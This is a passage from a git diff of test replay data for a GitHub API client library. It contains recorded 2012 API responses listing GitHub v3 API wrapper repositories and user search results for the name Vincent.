Implementation","open_issues":0,"private":false,"username":"wanthony"},{"type":"repo","has_issues":true,"created_at":"2011-11-17T23:39:13-08:00","score":1.0006194,"owner":"plu","has_downloads":true,"followers":1,"created":"2011-11-17T23:39:13-08:00","pushed":"2011-11-17T23:41:46-08:00","homepage":"","watchers":1,"has_wiki":true,"language":"Objective-C","pushed_at":"2011-11-17T23:41:46-08:00","forks":1,"fork":false,"size":348,"name":"Octotco","url":"https://github.com/plu/Octotco","description":"iOS App to access the Github v3 API via RestKit","open_issues":0,"private":false,"username":"plu"},{"type":"repo","has_issues":true,"created_at":"2012-02-11T22:46:07-08:00","score":1.0006194,"owner":"roopeshvaddepally","has_downloads":true,"followers":1,"created":"2012-02-11T22:46:07-08:00","pushed":"2012-02-12T15:14:35-08:00","homepage":"","watchers":1,"has_wiki":true,"language":"Python","pushed_at":"2012-02-12T15:14:35-08:00","forks":1,"fork":false,"size":108,"name":"pygh3","url":"https://github.com/roopeshvaddepally/pygh3","description":"python github wrapper for api v3. make it more like iorayne/tentacles","open_issues":0,"private":false,"username":"roopeshvaddepally"},{"type":"repo","has_issues":true,"created_at":"2011-11-02T09:35:46-07:00","score":1.0006194,"owner":"exallium","has_downloads":true,"followers":1,"created":"2011-11-02T09:35:46-07:00","pushed":"2012-03-02T15:30:29-08:00","homepage":"","watchers":1,"has_wiki":true,"language":"Java","pushed_at":"2012-03-02T15:30:29-08:00","forks":1,"fork":false,"size":1896,"name":"gitIssues2","url":"https://github.com/exallium/gitIssues2","description":"Complete Rewrite of GitIssues, including new UI and utilizing Github's V3 API Java Library","open_issues":2,"private":false,"username":"exallium"},{"type":"repo","has_issues":true,"created_at":"2012-03-09T05:24:54-08:00","score":1.0006194,"owner":"inkel","has_downloads":true,"followers":1,"created":"2012-03-09T05:24:54-08:00","pushed":"2012-03-12T05:38:07-07:00","homepage":"","watchers":1,"has_wiki":true,"language":"JavaScript","pushed_at":"2012-03-12T05:38:07-07:00","forks":1,"fork":false,"size":380,"name":"cuba-omniauth-octokit","url":"https://github.com/inkel/cuba-omniauth-octokit","description":"Proof of concept of a Cuba application with OmniAuth and Octokit to access the GitHub v3 API","open_issues":3,"private":false,"username":"inkel"},{"type":"repo","has_issues":true,"created_at":"2012-02-17T09:18:01-08:00","score":1.0006194,"owner":"LukasKnuth","has_downloads":true,"followers":1,"created":"2012-02-17T09:18:01-08:00","pushed":"2012-02-17T15:31:14-08:00","homepage":"","watchers":1,"has_wiki":true,"language":"JavaScript","pushed_at":"2012-02-17T15:31:14-08:00","forks":1,"fork":false,"size":124,"name":"jsg-hub","url":"https://github.com/LukasKnuth/jsg-hub","description":"This project aims to create a JavaScript library for the GitHub API v3","open_issues":0,"private":false,"username":"LukasKnuth"},{"type":"repo","has_issues":true,"created_at":"2012-01-01T17:23:26-08:00","score":0.9402493,"owner":"lrvick","has_downloads":true,"followers":1,"created":"2012-01-01T17:23:26-08:00","pushed":"2012-01-01T17:24:43-08:00","homepage":"","watchers":1,"has_wiki":true,"language":"","pushed_at":"2012-01-01T17:24:43-08:00","forks":1,"fork":false,"size":96,"name":"jquery-githubnav","url":"https://github.com/lrvick/jquery-githubnav","description":"jQuery driven stack to render a tree-driven explorer of all your Github code via the Github v3 API","open_issues":0,"private":false,"username":"lrvick"},{"type":"repo","has_issues":true,"created_at":"2011-07-31T03:41:16-07:00","score":0.9355511,"owner":"mklabs","has_downloads":true,"followers":2,"created":"2011-07-31T03:41:16-07:00","pushed":"2011-07-31T08:34:55-07:00","homepage":"","watchers":2,"has_wiki":true,"language":"JavaScript","pushed_at":"2011-07-31T08:34:55-07:00","forks":1,"fork":false,"size":176,"name":"ghv3","url":"https://github.com/mklabs/ghv3","description":"GitHub Api v3 library. Ideally, it should work in node via http request, and in browsers using jsonp.","open_issues":0,"private":false,"username":"mklabs"},{"type":"repo","has_issues":true,"created_at":"2012-03-17T11:12:39-07:00","score":0.8517214,"owner":"mklabs","has_downloads":true,"followers":1,"created":"2012-03-17T11:12:39-07:00","pushed":"2012-03-17T11:13:30-07:00","homepage":"http://mklabs.github.com/gh-issues-widget/","watchers":1,"has_wiki":true,"language":"JavaScript","pushed_at":"2012-03-17T11:13:30-07:00","forks":1,"fork":false,"size":224,"name":"gh-issues-widget","url":"https://github.com/mklabs/gh-issues-widget","description":"A bit of GitHub API v3, GitHub Flavored Markdown, a soupcon of data-* attributes and you get github issue comment system. Something like that.","open_issues":2,"private":false,"username":"mklabs"},{"type":"repo","has_issues":true,"created_at":"2012-01-12T04:28:02-08:00","score":0.80183375,"owner":"jaikoo","has_downloads":true,"followers":1,"created":"2012-01-12T04:28:02-08:00","pushed":"2012-01-20T05:24:12-08:00","homepage":"","watchers":1,"has_wiki":true,"language":"Ruby","pushed_at":"2012-01-20T05:24:12-08:00","forks":1,"fork":false,"size":148,"name":"OctoCow","url":"https://github.com/jaikoo/OctoCow","description":"Work in progress Github v3 API wrapper with association chaining and semi-concrete classes (class are concrete but contents are flexible) to allow for flexible changes in the API.","open_issues":0,"private":false,"username":"jaikoo"},{"type":"repo","has_issues":true,"created_at":"2012-04-23T19:23:24-07:00","score":0.7637999,"owner":"misutowolf","has_downloads":true,"followers":1,"created":"2012-04-23T19:23:24-07:00","pushed":"2012-04-24T07:30:51-07:00","homepage":"","watchers":1,"has_wiki":true,"language":"","pushed_at":"2012-04-24T07:30:51-07:00","forks":1,"fork":false,"size":184,"name":"js-githubv3","url":"https://github.com/misutowolf/js-githubv3","description":"js-githubv3 -- A JavaScript (jQuery) library for the JSON-driven GitHub API v3","open_issues":0,"private":false,"username":"misutowolf"}]} - diff --git a/tests/ReplayData/Github.testSearchUserByEmail.txt b/tests/ReplayData/Github.testSearchUserByEmail.txt index 61e97e9841..9cb9ca3b20 100644 --- a/tests/ReplayData/Github.testSearchUserByEmail.txt +++ b/tests/ReplayData/Github.testSearchUserByEmail.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4981'), ('content-length', '395'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"baf55235e157428f731c446efe6d6cba"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Thu, 28 Jun 2012 20:58:11 GMT'), ('content-type', 'application/json; charset=utf-8')] {"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","type":"User","location":"Paris, France","blog":"http://vincent-jacques.net","name":"Vincent Jacques","permission":null,"public_repo_count":11,"login":"jacquev6","email":"vincent@vincent-jacques.net","public_gist_count":3,"created_at":"2010-07-08T23:10:06-07:00","id":327146,"followers_count":13,"following_count":24,"company":"Criteo"}} - diff --git a/tests/ReplayData/Github.testSearchUsers.txt b/tests/ReplayData/Github.testSearchUsers.txt index e260bbe1e6..9ac46b6fdf 100644 --- a/tests/ReplayData/Github.testSearchUsers.txt +++ b/tests/ReplayData/Github.testSearchUsers.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4982'), ('content-length', '41235'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"77b0277b5efb0ebf5f9e3de8a493fd0c"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Thu, 28 Jun 2012 20:57:52 GMT'), ('content-type', 'application/json; charset=utf-8')] {"users":[{"gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","score":73.982216,"type":"user","name":"Vincent Driessen","location":"Netherlands","fullname":"Vincent Driessen","repos":63,"login":"nvie","public_repo_count":63,"username":"nvie","created_at":"2009-05-12T21:19:38Z","record":null,"id":"user-83844","followers":310,"followers_count":310,"created":"2009-05-12T21:19:38Z","language":"Python","pushed":"2012-06-26T14:15:26.172Z"},{"gravatar_id":"a145dbf5d67ba1eb717fbe3a1f51509c","score":35.851326,"type":"user","fullname":"Jesse Vincent","repos":57,"name":"Jesse Vincent","location":"Somerville, MA, USA","login":"obra","public_repo_count":57,"username":"obra","created_at":"2009-01-09T20:24:15Z","record":null,"id":"user-45416","followers":127,"followers_count":127,"created":"2009-01-09T20:24:15Z","language":"Perl","pushed":"2012-06-27T02:15:19.036Z"},{"gravatar_id":"03a966709300efb4a86ce5ee8f88f696","score":33.5964,"type":"user","repos":86,"name":"John E. Vincent","fullname":"John E. Vincent","location":"Roswell, GA.","login":"lusis","public_repo_count":86,"username":"lusis","created_at":"2010-03-23T20:28:44Z","record":null,"id":"user-228958","followers":112,"followers_count":112,"created":"2010-03-23T20:28:44Z","language":"Ruby","pushed":"2012-06-28T15:15:44.987Z"},{"gravatar_id":"c676f9efc8e54985e84c044899481267","score":29.771633,"type":"user","name":"Vincent Jousse","repos":43,"fullname":"Vincent Jousse","location":"Le Mans","login":"vjousse","public_repo_count":43,"username":"vjousse","created_at":"2009-11-18T15:43:09Z","record":null,"id":"user-154904","followers":102,"followers_count":102,"created":"2009-11-18T15:43:09Z","language":"PHP","pushed":"2012-06-19T10:15:25.469Z"},{"gravatar_id":"1d0a2ab73604a28d767acc0e547c8985","score":14.943241,"type":"user","name":"Vincent Hanquez","fullname":"Vincent Hanquez","repos":43,"location":"","login":"vincenthz","public_repo_count":43,"username":"vincenthz","created_at":"2009-12-31T10:52:40Z","record":null,"id":"user-174631","followers":30,"followers_count":30,"created":"2009-12-31T10:52:40Z","language":"Haskell","pushed":"2011-12-02T11:15:26.599Z"},{"gravatar_id":"dd02e2c7ecf7c377b6b9c2c1a23633d0","score":13.608737,"type":"user","location":"http://git.io/vt","name":"Vincent Tsai","fullname":"Vincent Tsai","repos":18,"login":"Vayn","public_repo_count":18,"username":"Vayn","created_at":"2010-03-17T07:53:26Z","record":null,"id":"user-224407","followers":32,"followers_count":32,"created":"2010-03-17T07:53:26Z","language":"Python","pushed":"2012-05-05T02:15:14.813Z"},{"gravatar_id":"a3895a2d6f26155968be47fc03dddc40","score":13.566472,"type":"user","fullname":"Vincent Battaglia","repos":11,"name":"Vincent Battaglia","location":"San Francisco, CA","login":"vinch","public_repo_count":11,"username":"vinch","created_at":"2009-11-19T11:56:56Z","record":null,"id":"user-155370","followers":34,"followers_count":34,"created":"2009-11-19T11:56:56Z","language":"JavaScript","pushed":"2012-06-27T19:15:37.908Z"},{"gravatar_id":"2c0bde3f5628f35390c42fe505b79da4","score":12.853587,"type":"user","fullname":"Vincent Bernat","name":"Vincent Bernat","repos":25,"location":"Paris","login":"vincentbernat","public_repo_count":25,"username":"vincentbernat","created_at":"2011-02-22T07:20:26Z","record":null,"id":"user-631446","followers":26,"followers_count":26,"created":"2011-02-22T07:20:26Z","language":"C","pushed":"2012-04-24T14:15:18.536Z"},{"gravatar_id":"bbd55fb25025ef973c45e587103a1007","score":12.540491,"type":"user","location":"Nantes, France","name":"Vincent Giersch","fullname":"Vincent Giersch","repos":20,"login":"gierschv","public_repo_count":20,"username":"gierschv","created_at":"2010-09-12T16:41:49Z","record":null,"id":"user-396537","followers":26,"followers_count":26,"created":"2010-09-12T16:41:49Z","language":"JavaScript","pushed":"2012-06-07T01:15:19.516Z"},{"gravatar_id":"c8ff80488014da414b65346806178fa5","score":12.304387,"type":"user","name":"Vincent Batts","repos":20,"fullname":"Vincent Batts","location":"Vienna, VA","login":"vbatts","public_repo_count":20,"username":"vbatts","created_at":"2009-03-25T14:57:43Z","record":null,"id":"user-67049","followers":25,"followers_count":25,"created":"2009-03-25T14:57:43Z","language":"Ruby","pushed":"2012-06-18T14:15:37.054Z"},{"gravatar_id":"5ad827a4eff2f5c23d26e1b4eb746143","score":12.204174,"type":"user","repos":16,"name":"Vincent","fullname":"Vincent","location":"","login":"Valodim","public_repo_count":16,"username":"Valodim","created_at":"2008-10-06T20:33:02Z","record":null,"id":"user-27813","followers":9,"followers_count":9,"created":"2008-10-06T20:33:02Z","language":"Python","pushed":"2011-11-27T18:15:31.138Z"},{"gravatar_id":"a267b99df7d74999affbda5c314083d7","score":12.204174,"type":"user","fullname":"Vincent","repos":25,"name":"Vincent","location":"","login":"Twinside","public_repo_count":25,"username":"Twinside","created_at":"2009-12-17T09:22:27Z","record":null,"id":"user-168874","followers":6,"followers_count":6,"created":"2009-12-17T09:22:27Z","language":"VimL","pushed":"2012-06-28T07:15:16.26Z"},{"gravatar_id":"722218c7702627097bd72901d7b39e6a","score":12.197243,"type":"user","name":"Mike Vincent","location":"FTW, TX","fullname":"Mike Vincent","repos":9,"login":"agile","public_repo_count":9,"username":"agile","created_at":"2008-02-13T19:58:02Z","record":null,"id":"user-249","followers":28,"followers_count":28,"created":"2008-02-13T19:58:02Z","language":"Ruby","pushed":"2012-06-23T19:16:35.651Z"},{"gravatar_id":"a56a9079e6af8a892337a671c3b1a230","score":12.029787,"type":"user","name":"Vincent Pit","repos":13,"location":"Paris, France","fullname":"Vincent Pit","login":"vpit","public_repo_count":13,"username":"vpit","created_at":"2009-04-05T16:43:32Z","record":null,"id":"user-70731","followers":26,"followers_count":26,"created":"2009-04-05T16:43:32Z","language":"Perl","pushed":"2012-04-25T22:15:28.818Z"},{"gravatar_id":"317cf21cbde7d18d79c27e123cbf7b73","score":11.095074,"type":"user","fullname":"Vincent Velociter","name":"Vincent Velociter","repos":14,"location":"Nantes","login":"veloce","public_repo_count":14,"username":"veloce","created_at":"2010-10-01T12:58:39Z","record":null,"id":"user-423393","followers":21,"followers_count":21,"created":"2010-10-01T12:58:39Z","language":"VimL","pushed":"2012-06-20T16:15:20.04Z"},{"gravatar_id":"d4ad14bf23231763ea3c1754a65de041","score":11.040714,"type":"user","repos":45,"name":"Vincent van Haaff","fullname":"Vincent van Haaff","location":"Vancouver, BC","login":"flyingoctopus","public_repo_count":45,"username":"flyingoctopus","created_at":"2009-02-03T08:21:05Z","record":null,"id":"user-51352","followers":16,"followers_count":16,"created":"2009-02-03T08:21:05Z","language":"JavaScript","pushed":"2012-06-28T19:15:23.553Z"},{"gravatar_id":"652e02cbd134e0e92f3f81fe14bda3d1","score":11.000038,"type":"user","name":"Seth Vincent","repos":52,"fullname":"Seth Vincent","location":"olympia, wa","login":"sethvincent","public_repo_count":52,"username":"sethvincent","created_at":"2009-12-08T05:13:00Z","record":null,"id":"user-164214","followers":8,"followers_count":8,"created":"2009-12-08T05:13:00Z","language":"JavaScript","pushed":"2012-06-13T05:15:13.738Z"},{"gravatar_id":"7d3e511e6531fa9fde610015867d5c82","score":10.762525,"type":"user","fullname":"Vincent","repos":13,"name":"Vincent","location":"Zurich","login":"minikermit","public_repo_count":13,"username":"minikermit","created_at":"2009-01-18T10:56:54Z","record":null,"id":"user-47452","followers":3,"followers_count":3,"created":"2009-01-18T10:56:54Z","language":"JavaScript","pushed":"2012-06-27T19:16:29.254Z"},{"gravatar_id":"d3f0155cbb376d40f0c2e6f2d70552a4","score":10.7480545,"type":"user","fullname":"Vincent Agnano","repos":15,"name":"Vincent Agnano","location":"Montpellier","login":"vinyll","public_repo_count":15,"username":"vinyll","created_at":"2009-10-27T09:00:05Z","record":null,"id":"user-145172","followers":19,"followers_count":19,"created":"2009-10-27T09:00:05Z","language":"PHP","pushed":"2012-06-27T13:15:35.164Z"},{"gravatar_id":"dca7a9de73436b37325226984917bec0","score":10.725438,"type":"user","fullname":"Vincent Mazenod","name":"Vincent Mazenod","repos":18,"location":"Clermont Ferrand (636)","login":"mazenovi","public_repo_count":18,"username":"mazenovi","created_at":"2010-08-17T08:26:28Z","record":null,"id":"user-366957","followers":18,"followers_count":18,"created":"2010-08-17T08:26:28Z","language":"PHP","pushed":"2012-06-12T10:15:21.258Z"},{"gravatar_id":"9cfe5fa2f21186a7bec97f0e25fdf68e","score":10.578381,"type":"user","fullname":"Vincent Lark","name":"Vincent Lark","location":"France / Luxembourg","repos":11,"login":"vincent","public_repo_count":11,"username":"vincent","created_at":"2008-04-07T17:52:22Z","record":null,"id":"user-5623","followers":9,"followers_count":9,"created":"2008-04-07T17:52:22Z","language":"Python","pushed":"2011-10-17T15:15:11.027Z"},{"gravatar_id":"2bb264ba6bb334e5bfa5e266788a94c7","score":10.556574,"type":"user","repos":13,"name":"Vincent","fullname":"Vincent","location":"","login":"vjcharles","public_repo_count":13,"username":"vjcharles","created_at":"2008-06-23T08:36:59Z","record":null,"id":"user-14668","followers":2,"followers_count":2,"created":"2008-06-23T08:36:59Z","language":"Ruby","pushed":"2012-06-28T18:15:31.165Z"},{"gravatar_id":"7105cb5590c1d689191fabaff3cfc23b","score":10.545874,"type":"user","name":"Sam Vincent","repos":6,"fullname":"Sam Vincent","location":"Vancouver, BC","login":"samvincent","public_repo_count":6,"username":"samvincent","created_at":"2009-02-25T08:54:33Z","record":null,"id":"user-57775","followers":21,"followers_count":21,"created":"2009-02-25T08:54:33Z","language":"Ruby","pushed":"2012-06-15T21:15:20.297Z"},{"gravatar_id":"96f903d97afc840d7c317ce094fef408","score":10.537209,"type":"user","name":"vincent","repos":18,"fullname":"vincent","location":"北京市海淀区海淀北街8号中关村SOHO ","login":"vincent1900","public_repo_count":18,"username":"vincent1900","created_at":"2011-04-21T04:53:45Z","record":null,"id":"user-743038","followers":0,"followers_count":0,"created":"2011-04-21T04:53:45Z","language":"JavaScript","pushed":"2012-01-10T03:15:21.421Z"},{"gravatar_id":"2ecfff7b4be5cc2a6f42a0e6258f1bdd","score":10.464482,"type":"user","name":"Aziz Hardaya","location":"Jakarta Timur","repos":5,"fullname":"Aziz Hardaya","login":"AzizVincent","public_repo_count":5,"username":"AzizVincent","created_at":"2011-08-12T03:56:24Z","record":null,"id":"user-975298","followers":30,"followers_count":30,"created":"2011-08-12T03:56:24Z","language":"","pushed":"2012-02-13T03:15:25.527Z"},{"gravatar_id":"e5e032ef6bc616aab797ce8562fa60fa","score":10.312129,"type":"user","repos":3,"name":"Vincent","fullname":"Vincent","location":"Rotterdam","login":"VvanGemert","public_repo_count":3,"username":"VvanGemert","created_at":"2010-03-22T15:14:38Z","record":null,"id":"user-227966","followers":4,"followers_count":4,"created":"2010-03-22T15:14:38Z","language":"Ruby","pushed":"2012-03-29T14:15:14.844Z"},{"gravatar_id":"31a9803728a756c2b6ec090cb77852b3","score":10.310701,"type":"user","name":"Vincent Toups","location":"North Carolina","fullname":"Vincent Toups","repos":17,"login":"VincentToups","public_repo_count":17,"username":"VincentToups","created_at":"2008-10-31T13:41:24Z","record":null,"id":"user-31994","followers":16,"followers_count":16,"created":"2008-10-31T13:41:24Z","language":"Common Lisp","pushed":"2012-05-20T16:15:19.958Z"},{"gravatar_id":"2843b1e49827c8a63ef3695778646263","score":10.281975,"type":"user","fullname":"vincent","name":"vincent","location":"","repos":6,"login":"vincentwv","public_repo_count":6,"username":"vincentwv","created_at":"2011-08-17T09:40:13Z","record":null,"id":"user-985725","followers":3,"followers_count":3,"created":"2011-08-17T09:40:13Z","language":"JavaScript","pushed":"2012-04-04T16:15:11.99Z"},{"gravatar_id":"2c7e6e3e5b099d9d9d3ceba6819ca864","score":10.244888,"type":"user","fullname":"Vincent Waller","repos":44,"name":"Vincent Waller","location":"Bend, OR","login":"vwall","public_repo_count":44,"username":"vwall","created_at":"2009-08-21T18:38:05Z","record":null,"id":"user-118020","followers":7,"followers_count":7,"created":"2009-08-21T18:38:05Z","language":"Ruby","pushed":"2012-06-26T19:16:08.156Z"},{"gravatar_id":"3a66abaecbdf3edc16b509b9f46a5128","score":10.102409,"type":"user","fullname":"Vincent","repos":3,"name":"Vincent","location":"Irvine, CA","login":"vmarquez","public_repo_count":3,"username":"vmarquez","created_at":"2010-10-05T06:35:10Z","record":null,"id":"user-427578","followers":3,"followers_count":3,"created":"2010-10-05T06:35:10Z","language":"VimL","pushed":"2012-06-26T23:15:29.811Z"},{"gravatar_id":"0fa1e7a2807be2aaf0bd66d688506199","score":10.076025,"type":"user","location":"Taipei/Taiwan ","name":"Vincent","repos":12,"fullname":"Vincent","login":"changyihsin","public_repo_count":12,"username":"changyihsin","created_at":"2012-01-10T07:09:41Z","record":null,"id":"user-1317650","followers":0,"followers_count":0,"created":"2012-01-10T07:09:41Z","language":"C","pushed":"2012-06-05T07:15:20.895Z"},{"gravatar_id":"a8d7a6a8449afeeeaf9583c80c9ce8fc","score":10.073187,"type":"user","fullname":"Vincent","name":"Vincent","location":"Rotterdam/NL","repos":11,"login":"vincent-psarga","public_repo_count":11,"username":"vincent-psarga","created_at":"2010-01-20T15:27:54Z","record":null,"id":"user-186248","followers":0,"followers_count":0,"created":"2010-01-20T15:27:54Z","language":"Python","pushed":"2011-10-19T10:15:15.782Z"},{"gravatar_id":"15f0181accb819d21fd149a30303d68c","score":10.065324,"type":"user","fullname":"Vincent Demeester","repos":38,"name":"Vincent Demeester","location":"Bordeaux, Aquitaine, France","login":"vdemeester","public_repo_count":38,"username":"vdemeester","created_at":"2008-04-11T06:56:22Z","record":null,"id":"user-6508","followers":8,"followers_count":8,"created":"2008-04-11T06:56:22Z","language":"Shell","pushed":"2012-06-26T21:15:36.396Z"},{"gravatar_id":"ea99573d979fd0a4e9503a1e9331e68a","score":10.0389385,"type":"user","name":"Vincent Cogne","location":"France, Paris","fullname":"Vincent Cogne","repos":20,"login":"xpac27","public_repo_count":20,"username":"xpac27","created_at":"2009-04-22T13:24:07Z","record":null,"id":"user-76585","followers":14,"followers_count":14,"created":"2009-04-22T13:24:07Z","language":"JavaScript","pushed":"2012-06-23T19:15:31.367Z"},{"gravatar_id":"cce588dc4e7a73ae4c284915ca4de863","score":10.007375,"type":"user","repos":11,"name":"VIncent","fullname":"VIncent","location":"Guangzhou,China","login":"ywdong","public_repo_count":11,"username":"ywdong","created_at":"2012-02-21T15:58:13Z","record":null,"id":"user-1457889","followers":0,"followers_count":0,"created":"2012-02-21T15:58:13Z","language":"Java","pushed":"2012-06-03T05:15:15.227Z"},{"gravatar_id":"06366cecc21b382cef72494f25bcbf3e","score":9.9387245,"type":"user","fullname":"Vincent","repos":10,"name":"Vincent","location":"","login":"zakora","public_repo_count":10,"username":"zakora","created_at":"2009-07-19T20:21:15Z","record":null,"id":"user-106620","followers":0,"followers_count":0,"created":"2009-07-19T20:21:15Z","language":"Python","pushed":"2012-06-27T20:15:10.991Z"},{"gravatar_id":"1255ca023ce9ca08c7354b619d562625","score":9.870074,"type":"user","location":"","name":"Vincent","repos":9,"fullname":"Vincent","login":"xuevin","public_repo_count":9,"username":"xuevin","created_at":"2010-06-04T01:46:36Z","record":null,"id":"user-296101","followers":0,"followers_count":0,"created":"2010-06-04T01:46:36Z","language":"Java","pushed":"2012-06-08T20:15:31.323Z"},{"gravatar_id":"94f3a1b384d13d1413422b6b64935d48","score":9.794494,"type":"user","fullname":"Vincent Anonymouse","repos":1,"name":"Vincent Anonymouse","location":"","login":"milomouse","public_repo_count":1,"username":"milomouse","created_at":"2009-04-23T05:11:40Z","record":null,"id":"user-76868","followers":19,"followers_count":19,"created":"2009-04-23T05:11:40Z","language":"Common Lisp","pushed":"2012-03-07T19:19:44.686Z"},{"gravatar_id":"0d131f51bf9526483afcac2dd0d3dad5","score":9.7643385,"type":"user","fullname":"Vincent Cabansag","repos":1,"name":"Vincent Cabansag","location":"Chicago, IL","login":"vcabansag","public_repo_count":1,"username":"vcabansag","created_at":"2011-09-19T15:10:07Z","record":null,"id":"user-1062352","followers":19,"followers_count":19,"created":"2011-09-19T15:10:07Z","language":"Ruby","pushed":"2012-06-27T15:15:38.916Z"},{"gravatar_id":"8c6856b195974b4e03bf9ce24f36ec16","score":9.6641245,"type":"user","repos":0,"name":"Vincent","fullname":"Vincent","location":"Santa Barbara, CA","login":"vincentalindogan","public_repo_count":0,"username":"vincentalindogan","created_at":"2011-03-27T18:47:05Z","record":null,"id":"user-693707","followers":2,"followers_count":2,"created":"2011-03-27T18:47:05Z","language":"","pushed":"2012-03-26T00:15:09.735Z"},{"gravatar_id":"fb56e63daee1464b77209410873f0070","score":9.6641245,"type":"user","name":"Will Vincent","location":"Twin Cities, MN","repos":0,"fullname":"Will Vincent","login":"willvincent","public_repo_count":0,"username":"willvincent","created_at":"2011-03-25T08:19:27Z","record":null,"id":"user-689891","followers":2,"followers_count":2,"created":"2011-03-25T08:19:27Z","language":"","pushed":"2012-05-14T19:16:38.835Z"},{"gravatar_id":"ed4127e0b58e6d0f753a987f895abebd","score":9.6641245,"type":"user","name":"vincent","fullname":"vincent","location":"Beijing China","repos":3,"login":"vincenttone","public_repo_count":3,"username":"vincenttone","created_at":"2011-11-08T01:48:51Z","record":null,"id":"user-1179536","followers":1,"followers_count":1,"created":"2011-11-08T01:48:51Z","language":"Python","pushed":"2012-05-28T11:15:18.397Z"},{"gravatar_id":"aa7c3566126ee339d33fee2c801662d9","score":9.6641245,"type":"user","fullname":"Vincent","name":"Vincent","repos":6,"location":"Valence/France","login":"vinzcoco","public_repo_count":6,"username":"vinzcoco","created_at":"2012-01-23T21:13:58Z","record":null,"id":"user-1372480","followers":0,"followers_count":0,"created":"2012-01-23T21:13:58Z","language":"PHP","pushed":"2012-06-20T10:15:18.217Z"},{"gravatar_id":"8493dbf44e9a5995b24165464f10df92","score":9.595475,"type":"user","location":"","name":"Vincent ","repos":5,"fullname":"Vincent ","login":"livewire195","public_repo_count":5,"username":"livewire195","created_at":"2012-03-27T16:10:49Z","record":null,"id":"user-1580359","followers":0,"followers_count":0,"created":"2012-03-27T16:10:49Z","language":"Python","pushed":"2012-06-09T07:15:13.208Z"},{"gravatar_id":"4667846b9c1e5e426ca958ac96882eb9","score":9.576109,"type":"user","name":"vincent","repos":4,"fullname":"vincent","location":"","login":"vincent5295","public_repo_count":4,"username":"vincent5295","created_at":"2012-02-29T03:00:42Z","record":null,"id":"user-1483932","followers":0,"followers_count":0,"created":"2012-02-29T03:00:42Z","language":"C","pushed":"2012-06-17T14:15:11.01Z"},{"gravatar_id":"032f1a85263f21ff1f013421967ef99e","score":9.558389,"type":"user","name":"Vincent Franco","repos":13,"fullname":"Vincent Franco","location":"Sacramento","login":"vinniefranco","public_repo_count":13,"username":"vinniefranco","created_at":"2010-07-10T20:05:55Z","record":null,"id":"user-328428","followers":14,"followers_count":14,"created":"2010-07-10T20:05:55Z","language":"Ruby","pushed":"2012-06-17T19:15:32.752Z"},{"gravatar_id":"5ed6fc41ebf7d88590a4c07eae074e97","score":9.558389,"type":"user","fullname":"Vincent Deloso","repos":25,"name":"Vincent Deloso","location":"","login":"Mitsugaru","public_repo_count":25,"username":"Mitsugaru","created_at":"2011-11-09T21:32:35Z","record":null,"id":"user-1184640","followers":10,"followers_count":10,"created":"2011-11-09T21:32:35Z","language":"Java","pushed":"2012-06-27T15:15:40.449Z"},{"gravatar_id":"051a209f0b3759e8e51680562955d555","score":9.556979,"type":"user","name":"Vincent","fullname":"Vincent","repos":1,"location":"","login":"vgametoo","public_repo_count":1,"username":"vgametoo","created_at":"2012-03-19T12:39:35Z","record":null,"id":"user-1552699","followers":1,"followers_count":1,"created":"2012-03-19T12:39:35Z","language":"","pushed":"2012-06-21T19:15:26.276Z"},{"gravatar_id":"a270083a603e945d156b9fa5ba7f1270","score":9.55321,"type":"user","fullname":"Vincent","name":"Vincent","location":"","repos":1,"login":"dominiquevincent","public_repo_count":1,"username":"dominiquevincent","created_at":"2010-05-05T13:45:32Z","record":null,"id":"user-265581","followers":1,"followers_count":1,"created":"2010-05-05T13:45:32Z","language":"JavaScript","pushed":"2010-11-12T07:15:10.614Z"},{"gravatar_id":"4136d955e297f2759ac728b6d1701f36","score":9.55321,"type":"user","name":"Vincent","repos":1,"fullname":"Vincent","location":"","login":"vincentamari","public_repo_count":1,"username":"vincentamari","created_at":"2011-03-14T11:02:58Z","record":null,"id":"user-668429","followers":1,"followers_count":1,"created":"2011-03-14T11:02:58Z","language":"JavaScript","pushed":"2012-06-18T07:15:51.072Z"},{"gravatar_id":"4b44c097908d14610ba01790b5fc975c","score":9.526825,"type":"user","fullname":"Vincent","name":"Vincent","location":"","repos":4,"login":"ciex","public_repo_count":4,"username":"ciex","created_at":"2010-05-16T15:08:50Z","record":null,"id":"user-278463","followers":0,"followers_count":0,"created":"2010-05-16T15:08:50Z","language":"Python","pushed":"2012-04-16T15:15:29.943Z"},{"gravatar_id":"010564c5d5894e8e22ba40de45917566","score":9.526825,"type":"user","fullname":"Vincent","name":"Vincent","repos":1,"location":"The Netherlands","login":"Vinnl","public_repo_count":1,"username":"Vinnl","created_at":"2008-04-02T18:24:21Z","record":null,"id":"user-4251","followers":1,"followers_count":1,"created":"2008-04-02T18:24:21Z","language":"","pushed":"2012-05-04T14:15:33.377Z"},{"gravatar_id":"4b86e791cadf9cc2c0a4a7bfc32d9e9e","score":9.526825,"type":"user","fullname":"Vincent","name":"Vincent","repos":1,"location":"","login":"monkeymajiks","public_repo_count":1,"username":"monkeymajiks","created_at":"2012-01-25T22:10:51Z","record":null,"id":"user-1380497","followers":1,"followers_count":1,"created":"2012-01-25T22:10:51Z","language":"","pushed":"2012-06-12T11:15:31.686Z"},{"gravatar_id":"916769ca776c1e7576bcb7cd34be7391","score":9.526825,"type":"user","name":"Vincent","location":"","fullname":"Vincent","repos":4,"login":"vgauthier","public_repo_count":4,"username":"vgauthier","created_at":"2012-02-25T20:07:22Z","record":null,"id":"user-1473920","followers":0,"followers_count":0,"created":"2012-02-25T20:07:22Z","language":"Python","pushed":"2012-06-23T16:15:14.419Z"},{"gravatar_id":"b2f52d3a1a83d0fa6be6705d322bc1de","score":9.523987,"type":"user","name":"Vincent","location":"France","repos":0,"fullname":"Vincent","login":"Vincent-P","public_repo_count":0,"username":"Vincent-P","created_at":"2011-07-28T13:51:46Z","record":null,"id":"user-944506","followers":1,"followers_count":1,"created":"2011-07-28T13:51:46Z","language":"","pushed":"2012-05-12T09:15:15.844Z"},{"gravatar_id":"fc24888b3f4d2a85348e7bbded2f4100","score":9.488329,"